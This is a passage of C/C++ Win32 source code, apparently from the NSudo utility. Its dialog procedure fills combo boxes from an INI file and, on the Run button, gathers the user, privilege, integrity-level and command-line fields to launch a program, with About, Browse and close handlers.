		SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)TextRes.NSudo_Text_Default);
		SendMessageW(hMandatoryLabel, CB_SETCURSEL, 0, 0); //设置默认项"默认"

		{
			wchar_t szItem[260], szBuffer[32768];
			DWORD dwLength = GetPrivateProfileSectionNamesW(szBuffer, 32768, szShortCutListPath);

			for (DWORD i = 0, j = 0; i < dwLength; i++,j++)
			{
				if (szBuffer[i] != NULL)
				{
					szItem[j] = szBuffer[i];
				}
				else
				{
					szItem[j] = NULL;
					SendMessageW(hszPath, CB_INSERTSTRING, 0, (LPARAM)szItem);
					j=-1;
				}
			}
		}
		return (INT_PTR)TRUE;
	case WM_COMMAND:
		switch (LOWORD(wParam))
		{
		case IDC_Run:
			GetDlgItemTextW(hDlg, IDC_UserName, szUser, sizeof(szUser));
			GetDlgItemTextW(hDlg, IDC_TokenPrivilege, szPrivilege, sizeof(szPrivilege));
			GetDlgItemTextW(hDlg, IDC_MandatoryLabel, szMandatory, sizeof(szMandatory));
			GetDlgItemTextW(hDlg, IDC_szPath, szCMDLine, sizeof(szCMDLine));

			NSudo_Run(hDlg,szUser, szPrivilege, szMandatory, szCMDLine);
			break;
		case IDC_About:
			NSudoReturnMessage(TextRes.NSudo_AboutText);
			break;
		case IDC_Browse:
			wcscpy_s(szBuffer, 260, L"");
			NSudoBrowseDialog(hDlg, szBuffer);
			SetDlgItemTextW(hDlg, IDC_szPath, szBuffer);
			break;
		}
		break;
	case WM_SYSCOMMAND:
		switch (LOWORD(wParam))
		{
		case SC_CLOSE:
			PostQuitMessage(0);
			break;
		}
		break;
	}

	return 0;
}